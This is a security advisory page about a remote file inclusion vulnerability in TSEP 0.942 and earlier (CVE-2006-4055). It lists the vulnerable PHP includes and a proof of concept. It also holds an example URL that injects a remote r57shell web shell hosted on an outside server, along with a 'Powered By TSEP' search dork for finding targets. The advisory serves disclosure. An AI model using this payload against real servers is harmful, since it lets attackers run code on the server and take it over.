TSEP <= 0.942 Remote File Include

2006.08.11
Credit: beford (xbefordx gmail com)
Risk: High
Local: No
Remote: Yes
CVE: CVE-2006-4055
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Script: TSEP <= 0.942 URL: www.tsep.info Discovered: beford <xbefordx gmail com> Comments: "register_globals" must be enabled duh. document.this != http://www.milw0rm.com/exploits/2098 Vulnerable Files/Code: ./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void .ru/download/r57shell.txt? ./tsep.0942/include/printpagedetails.php => require_once( $tsep_config["absPath"]."/include/convert_htmlent.php" ); ./tsep.0942/include/ipfunctions.php => require_once( $tsep_config["absPath"]."/include/IPv6.php" ); ./tsep.0942/include/contentimages.class.php => require_once( $tsep_config["absPath"]."/include/contentimages.class.php" ); ./tsep.0942/include/configfunctions.php => require_once( $tsep_config["absPath"]."/include/mmexfunctions.php" ); ./tsep.0942/include/log.class.php => require_once( $tsep_config["absPath"]."/include/tseptrace.php" ); Not-leet-enough: "Powered By TSEP" POC: http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http:// remotefile/?


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top